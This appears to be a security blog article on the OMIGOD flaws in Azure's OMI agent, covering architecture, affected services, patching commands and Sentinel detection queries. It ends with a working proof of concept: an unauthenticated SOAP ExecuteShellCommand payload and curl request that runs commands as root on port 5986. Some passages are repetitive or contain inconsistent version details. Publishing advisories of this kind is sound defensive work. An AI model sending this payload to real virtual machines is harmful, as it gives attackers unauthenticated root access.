OMIGOD – Critical Vulnerability in Azure OMI
Did you miss an exciting Azure vulnerability? September has come, and there are new vulnerabilities for this month. A few of them are for the Azure Linux VM with a specific component – OMI, and it’s got 9.8 severity!!! This time is the OMIGOD – Critical Vulnerability in Azure OMI.
The new vulnerability impacts Linux virtual machines on Azure. They end up with a little-known service called OMI installed as a byproduct of enabling any of several logging reporting and management options in Azure’s UI. The Azure Linux agent doesn’t have an auto-update mechanism, so you need to upgrade the agents manually.
This article is updated according to changes and findings in vulnerabilities.
The OMI component is part of the Azure infrastructure services, and it’s automatically installing a tiny service inside the Azure Linux virtual machine in question. That service, OMI, is very similar to the function much like WMI service, enabling the collection of logs and metrics and some remote management.
Part of the OMI specification requires authentication to bind commands and requests to a specific user ID. Still, unfortunately, a bug caused malformed requests that eliminated the authentication to be accepted as though given by the root user itself.
When configured for remote management, OMI runs an HTTPS server on port 5986, which can be connected to a standard HTTPS client and given reasonably human-readable commands in the XML obtained SOAP protocol. OMI only runs on a local Unix socket in other configurations, limiting its exploitation to local users.
In larger environments where OMI listens on a network port, not just a local Unix socket, it’s also a great way to laterally pivot an attacker who gets a shell on one VM in a customer’s Azure local network can typically use the buggy OMI to gain control of any other virtual machine on the same network segment.
A dirty corner of the supply chain
OMI is like a Linux implementation of Windows Management Infrastructure. OMI’s inclusion in Azure Management and Microsoft System Center advertised directly on every new Windows Server installation means it gets installed as a low-level component on a staggering number of critically important Linux machines, virtual and otherwise. The fact that it listens for commands on an open network port in some configurations, using extremely well-known protocols, makes it a desirable target for attackers.
Open source supply chain is a real thing, but not sure it’s at all relevant in this case. In this case, it appears to be an open-source package that was open-sourced by Microsoft as exposed to some broader community project.
That it’s open-source, there could be an interesting thought made that it’s easier to hunt for vulnerabilities when reviewing the code. In this case, what was the advantage or point of it being open-sourced when it is clearly a Microsoft project for Microsoft purposes? Maybe for collaboration internally? But the open-source nature of it doesn’t gain much.
The open-source nature–in this case, becomes more complicated when the fix is in plain sight for a month now with a seemingly easy ability to take advantage of. So, in this case, a closed source fix that wasn’t public how to exploit maybe would have been better indeed. The open-source vs. not is a bit more of a red herring relative to the overall situation. It’s certainly not the central theme, but I can see how some of the analysis may have happened when you overanalyze.
Inside the OMS Agent for Linux
The OMS Linux Agent is an open-source project hosted on GitHub and currently based on FluentD (v0.12.24). The agent leverages the FluentD framework and adds its plugins. You can find the complete documentation for the agent package on Github. The agent payload includes two other components:
- OMI ports the CIM/WBEM standards to Linux, and that is used mainly for performance data gathering
- SCX, an open-source for xplat monitoring originally developed for SCOM and utilized to enhance OMI’s data from the system.
- The agent is implemented as a standard service/deamon called “omsagent.”
- It runs in a non-privileged context under the omsagent user account.
- The omsagent rights are defined in the etc/sudoers file or /etc/sudoers.d/omsagent.
The agent binaries and components are installed in the following directories:
- /opt/omi – for the OMI package
- /opt/microsoft/scx – for the SCX provider
- /opt/microsoft/omsconfig – for files used continuously to install and configure the agent
- and finally /opt/microsoft/omsagent – for the running FluentD engine
Conversely the log files can be consulted in the various location inside /var/opt:
- /opt/omi/log – OMI package
- /opt/microsoft/scx/log – SCX provider
- /opt/microsoft/omsconfig/log – Check the configuration auto-update mechanism for the agent
- and finally /opt/microsoft/omsagent/log – Running FluentD engine
The running configuration for the agent can be found in /etc/opt/microsoft/omsagent/conf/omsagent.conf and in the files in etc/opt/microsoft/omsagent/conf/omsagent.d
OMS Agent Architecture
The OMS agent architecture is a standard FluentD stack, with input plugins getting the data inside the system, filter plugins processing it, and custom output plugins that manage the core buffering, authentication, and encryption to address the core buffering, authentication, and encryption the OMS cloud.
For those new to FluentD, let’s add that every single plugin has its own type and configuration properties (see the following paragraph). Every data document is identified with a tag (set in the input plugin configuration) used throughout the flow to identify that specific data type.
It must be clear now that the OMS agent configuration is just a plain FluentD configuration. As indicated previously, the main configuration file is /etc/opt/Microsoft/omsagent/conf/omsagent.conf. This file must not be modified unless explicitly requested by Microsoft support or within the limit of the Microsoft public documentation.
This configuration file and the companion files under /etc/opt/Microsoft/omsagent/conf/omsagent.d are managed by the platform and updated based on the explicitly or implicitly set in the OMS workspace. If you check the file’s last modification DateTime, you’ll find they’re updated pretty often behind the curtain every time a solution is silently updated at the OMS platform level.
The agent continuously updates its configuration and possibly some modules using a powershell DSC provider for OMI. The OMS workspace is configured as a DSC server that gets polled every 5 minutes by default. The update process is orchestrated via OMI, which implements the DSC client needed by the config.
What is OMI
Open Management Infrastructure (OMI) is an open-source project to develop further a production-quality implementation of the DMTF CIM/WBEM standards. The OMI CIMOM is also designed to be portable and highly modular. To accomplish its tiny footprint, it is coded in C, making it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor.
OMI is also designed to be inherently portable, and it builds and runs today on most Linux and UNIX systems. In addition to OMI’s small footprint, it also demonstrates very high performance.
The Log Analytics virtual machine extension for Linux is published and supported by Microsoft. The extension installs the Log Analytics agent on Azure virtual machines and enrolls virtual machines into an existing Log Analytics workspace.
The Log Analytics agent for Linux is composed of multiple packages.
- Open Management Infrastructure (OMI) — a lightweight CIM Server.
- OMI requires root access to run a cron job necessary for the functioning of the service.
OMI enables clients to perform the following CIM/WBEM operations on providers:
- GetInstance – gets a single instance from the server.
- EnumerateInstances – enumerates instances of a given CIM class.
- CreateInstance – creates an instance of a CIM class.
- DeleteInstance – deletes an instance.
- ModifyInstance – modifies the properties of an instance.
- Associators – finds instances associated with a given instance.
- References – finds references that refer to a given instance.
- Invoke – invokes a method on a given instance or class.
- Subscribe – subscribes to an Indication class or group of classes.
OMI clients initiate these operations through these protocols:
- The WS-Management protocol
- The Binary local protocol
- The CIM-XML protocol (not supported yet)
The server accepts client requests and routes them to the appropriate provider. Provider responses are routed back to the requesting client.
support most modern Linux platforms (and some that aren’t so modern). That said, our formal tested matrix of Linux platforms includes the following:
- CentOS 6 and 7 (x86 and x64)
- CentOS 8 x64 (omi>=1.6.5-0)
- Debian 8 (x86 and x64) and Debian 9 x64
- Debian 10 x64 (omi>=1.6.8-0)
- Oracle Linux 5, 6, and 7 (x86 and x64)
- Oracle Linux 8 x64 (omi>=1.6.8-0)
- Red Hat Enterprise Linux Server 5 and 6, and 7 (x86 and x64)
- Note: Red Hat 7.1 or later also runs on the PPC platform
- Red Hat Enterprise Linux Server 8 x64 (omi>=1.6.4-0)
- SUSE Linux Enterprise Server 11, 12 (x86 and x64), 12 ppc, and 15.
- Ubuntu 14.04 LTS, 16.04 LTS and 18.04 LTS (x86 and x64)
- Ubuntu 20.04 LTS x64 (omi>=1.6.8-0)
OMI has several providers:
- PowerShell Desired State Configuration for Linux
- System Center Cross Platform for Operations Manager
- PowerShell Remoting Protocol
- Docker Monitoring Agent for OMI Server
- MySQL Monitoring Agent for OMI Server
- Apache Monitoring Agent for OMI Server
- Python Script Provider for OMI Server
Agent install package
The Log Analytics agent for Linux is composed of multiple packages. The release file contains the following packages, which are available by running the shell bundle with the –extract parameter:
- omsagent version 1.13.9 The Log Analytics Agent for Linux
- omsconfig version 1.1.1 Configuration agent for the Log Analytics agent
- OMI 1.6.4 Open Management Infrastructure (OMI) — a lightweight CIM Server.
- SCX was initially posted as an open-source on Codeplex and later moved to Github.
Note: OMI requires root access to run a cron job necessary for the functioning of the service.
Agent installation details
After installing the Log Analytics agent for Linux packages, the following additional system-wide configuration changes are applied. These artifacts are removed when the omsagent package is uninstalled.
- A non-privileged user named: omsagent is created. The daemon runs under this credential.
- A sudo include file is created in /etc/sudoers.d/omsagent. This authorizes omsagent to restart the Syslog and omsagent daemons. If sudo have directives are not supported in the installed version of sudo, these entries will be written to /etc/sudoers.
- The Syslog configuration is modified to forward a subset of events to the agent. For more information, see Configure Syslog data collection.
On a monitored Linux computer, the agent is listed as omsagent. omsconfig The Log Analytics agent for the Linux configuration agent looks for a new portal side configuration every 5 minutes. The latest and updated structure is applied to the agent configuration files located at /etc/opt/microsoft/omsagent/conf/omsagent.conf.
The sudo ruleset contained within the OMS agent is too permissive. The rules here allow the omsagent user to read all files on the system and send arbitrary signals to arbitrary processes. All the issues effectively originate from using wildcards in command arguments, allowing appending arbitrary strings to the command.
Wiz’s research team recently discovered a series of alarming vulnerabilities that highlight the supply chain risk of open source code, particularly for customers of cloud computing services.
The source of the problem is a ubiquitous but little-known software agent called Open Management Infrastructure (OMI) that’s embedded in many popular Azure services.
When customers set up a Linux virtual machine in their cloud, the OMI agent is automatically deployed without their knowledge when they enable certain Azure services. Unless a patch is applied, attackers can easily exploit these four vulnerabilities to escalate to root privileges and remotely execute malicious code (for instance, encrypting files for ransom).
We named this quartet of zero-days “OMIGOD” because that was our reaction when we discovered them. We conservatively estimate that thousands of Azure customers and millions of endpoints are affected. In a small sample of Azure tenants, we analyzed, over 65% were unknowingly at risk.
Today Microsoft issued the following CVEs for OMIGOD and made a patch available to customers during their Patch Tuesday release:
- CVE-2021-38647 – Unauthenticated RCE as root (Severity: 9.8)
- CVE-2021-38648 – Privilege Escalation vulnerability (Severity: 7.8)
- CVE-2021-38645 – Privilege Escalation vulnerability (Severity: 7.8)
- CVE-2021-38649 – Privilege Escalation vulnerability (Severity: 7.0)
The OMI agent runs as root with the highest privileges. When configured to allow external access, any user can communicate with it using a UNIX socket or an HTTP API. As a result, the vulnerabilities we found would allow external or low-privileged users to execute code on target machines or escalate privileges remotely.
Three of the four zero-days we found are privilege escalation vulnerabilities. They enable attackers to gain the highest privileges on a machine with OMI installed. After gaining initial low-privileged access to their targets, attackers often use such vulnerabilities as part of sophisticated attack chains.
The fourth and most serious vulnerability (with a severity score of 9.8 out of 10) allows remote code execution (RCE). Some Azure products, including Configuration Management, expose an HTTPS port (port 5986) for interacting with OMI. That’s what makes RCE possible. Note that most Azure services that use OMI deploy it without exposing the HTTPS port.
In situations where the OMI ports are accessible to the internet (5986/5985/1270) to allow for remote management, attackers can also use this vulnerability to obtain initial access to a target Azure environment and then move laterally within it. We dive into this in more detail in the section below.
An exposed HTTPS port is the holy grail for malicious actors. As depicted in this diagram, with a straightforward exploit, they can access new targets, execute commands at the highest privileges and possibly spread to new target machines.
The installer creates a user call omsagent with no password with shell /bin/bash. On the installation, azure creates a sudoers config in, etc/sudoers.d/omsagent, which allow access to bunch pf scrips, for example, there’s a few /opt/microsoft/omsconfig/script/omstsyslog – and this file is owned by the omsagent account and you can sudo and edit within.
AM I VULNERABLE?
The vulnerabilities affect Azure customers that use Azure services, including Azure Automation, Azure Update Management, Azure Operations Management Suite, Azure Log Analytics, Azure Configuration Management, Azure Diagnostics, and more. In addition, the OMI agent can also be installed independently on Linux machines.
Any of the following platforms, services, and tools that have Linux agents be vulnerable:
- Azure Sentinel
- Azure Security Center
- Azure Defender
- Azure Log Analytics
- Azure Automation
- Azure Diagnostics
Below is a flowchart that can help determine if you’re impacted or not and which measures should be taken for remediation.
- Microsoft released a patched OMI version today, but it doesn’t appear to be working at this time.
- Remember, updating OMI manually as could potentially “break” certain Azure services.
- If you have OMI listening on ports 5985, 5986, 1270, make sure to limit network access to those ports immediately.
- Monitor listening ports on TCP 5985 and 5986 (TCP 1270, for OMI agents deployed by Microsoft System Center rather than Azure) or a Unix socket located beneath
If you have the Unix socket but not the ports, you’re still vulnerable until Microsoft deploys a patch—but the scope is limited to local privilege escalation only.
When OMI listens on TCP ports, it binds to all interfaces, including public ones. We strongly recommend limiting access to these ports via the Linux firewall, whether your OMI instance is repaired or not.
In particular, security-conscious administrators should carefully limit access to this and any other network services to only those network segments that actually need access. Machines running Microsoft System Center obviously need access to OMI on client systems, as does Azure’s own infrastructure—but the clients themselves don’t need OMI access from one to another.
The best practice for the reduction of the network attack surface—with this and any other potentially vulnerable service—is a global firewall
deny rule, with specific
allow rules in place only for machines that need to access a given service.
Where that’s not practical—for example, in an Azure environment where the administrator isn’t certain what Microsoft network segments need to access OMI for Azure Management to work properly—simply denying access from other VMs on the same network segment will at least prevent lateral movement of attackers from one machine to another.
OMI was updated to V1.6.8-1, but the OMS-Agent-For-Linux latest bundle script points to V22.214.171.124
- Make sure to upgrade OMI version
- sudo yum upgrade omi OR sudo apt-get upgrade omi
Monitor with Azure Sentinel
Run the following queries to monitor if someone touching the OMI components, network traffic or trying to run curl externally.
| where parse_json(tostring(Properties_d.eventProperties)).defaultLanguageTitle == “Action Required: Open Management Infrastructure (OMI) vulnerabilities within Linux Virtual Machine management extensions “
| extend ServiceName = tostring(parse_json(tostring(parse_json(tostring(Properties_d.eventProperties)).impactedServices)).ServiceName)
| project TimeGenerated,ServiceName, ActivityStatusValue, OperationNameValue, SubscriptionId
you can run also the query below
let omigodPath = dynamic([“/opt/omi”,”/usr/bin/sudo”,”/opt/microsoft/omsconfig”,”/opt/microsoft/omsagent”,””]);
| where ExecutablePath has_any ( omigodPath)
| where Description contains “Provide limited super user privileges to specific users”
| project TimeGenerated , Computer, ProductVersion, ExecutablePath, WorkingDirectory, CommandLine, Description
In addition, you can run a specific filter with Azure Security Center
If an OMS agent isn’t installed, you should not be required to run the following command and check if you’re vulnerable. But, if your environment is part of the OMS installation, you should tune the following command and review for the current version. Once you know the OMS agent version, you will know if and how to mitigate.
To test that OMI is functional locally, the omicli command be used
sudo /opt/omi/bin/omicli ei root/omi OMI_Identify
This command enumerates all instances of the OMI_Identify class in the root/omi namespace.
Check if OMS installed
Most Azure services that use OMI it is deployed as part of OMS. According to our current research, only the Azure Configuration Management service deploys OMI without OMS.
To check the current version, run the following command based on the Linux distro.
Connect to your VM and run in the terminal:
- For Redhat based systems, run the command:
rpm -qa omsagent
- For Debian systems, run the command:
dpkg -l omsagent or apt list | grep omsagent
If OMS is installed, results in the following format will return:
If OMS is installed on the tested VM, the impact of the above command will contain its version. The latest version of OMS is 1.13.39. If your OMs version is lower, please continue to Update OMS to the newest version. If it’s updated to the latest version, go to Update OMI.
Update OMS to the latest version
For manually updating the OMS agent, once MSFT updates it with the new OMI version, you can follow the steps here and run the following command:
sudo sh ./omsagent-1.13.39-0.universal.x64.sh –upgrade
Update OMI to the latest version
Run the following command to determine the SSL version:
Choose the relevant set of commands to install the latest OMI according to your SSL version and Linux distribution
For RHEL version SSL 1.1.0, run the command:
sudo rpm -Uvh ./omi-1.6.8-1.ssl_110.ulinux.x64.rpm
For RHEL SSL 1.0.0, run the command:
sudo rpm -Uvh ./omi-1.6.8-1.ssl_110.ulinux.x64.rpm
For Debian SSL 1.1.0 version, run the command:
dpkg -i ./omi-1.6.8-1.ssl_110.ulinux.x64.deb
For Debian SSL 1.0.0 version, run the command:
dpkg -i ./omi-1.6.8-1.ssl_100.ulinux.x64.deb
Log Analytics agent on Linux computers
- Install the agent for Linux using a wrapper-script hosted on GitHub. This is the recommended method to install and upgrade the agent when the computer has connectivity with the Internet, directly or through a proxy server.
- Manually download and install the agent. This is required when the Linux computer does not have access to the Internet and communicates with Azure Monitor or Azure Automation through the Log Analytics gateway.
The proxy configuration is set in this file: /etc/opt/microsoft/omsagent/proxy.conf . This file can be directly created or edited but must be readable by the omsagent user. This file must be updated, and the omsagent daemon restarted should the proxy configuration change. Below is a specific example:
sudo echo $proxyconf >>/etc/opt/microsoft/omsagent/proxy.conf
sudo chown omsagent:omiusers /etc/opt/microsoft/omsagent/proxy.conf
sudo chmod 600 /etc/opt/microsoft/omsagent/proxy.conf
sudo /opt/microsoft/omsagent/bin/service_control restart
It looks like directly define proxyUri parameters in the ARM template does not work after my validation. You could try to use a custom script extension to invoke the wrapper scripts during installation.
For example, the content of the oms_linux.sh file on an Azure storage blob.
sudo sh ./onboard_agent.sh -p https://<proxy address>:<proxy port> -w <workspace id>
- Anyone could patch-diff and exploit these issues while users cannot patch.
- The only recent commit was for “Enhanced security” a month ago
- You can remove the auth header, and you are root on Linux VM.
- To reproduced CVE-2021-38647 just use the following parameters: <p:StdOut>uid=0(root) gid=0(root) groups=0(root) </p:StdOut>
- Almost all Azure Linux VMs have the OMI Agent installed.
Proof of Concept
The OMI components receive configuration management messages. Typically, an authentication header is passed along with the message, and the OMI server will ensure the client is authorized to communicate. In this case, the vulnerability is that when there is no authentication header, the server incorrectly accepts the message and executes the instruction under the root user.
Posting an executeShellCommand SOAP payload to the VM with no authentication header specified will execute the command as root 👇
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" ... <s:Body> <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:command>id</p:command> <p:timeout>0</p:timeout> </p:ExecuteShellCommand_INPUT> </s:Body> </s:Envelope>
Wrapping this all up into a single cURL request to execute the
id command and get the response:
curl -H "Content-Type: application/soap+xml;charset=UTF-8" -k --data-binary "@http_body.txt" https://10.0.0.5:5986/wsman <SOAP-ENV:Envelope ... <SOAP-ENV:Body> <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:ReturnValue>TRUE</p:ReturnValue> <p:ReturnCode>0</p:ReturnCode> <p:StdOut>uid=0(root) gid=0(root) groups=0(root) </p:StdOut> <p:StdErr></p:StdErr> </p:SCX_OperatingSystem_OUTPUT> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Note: the main POC code is based on horizon3ai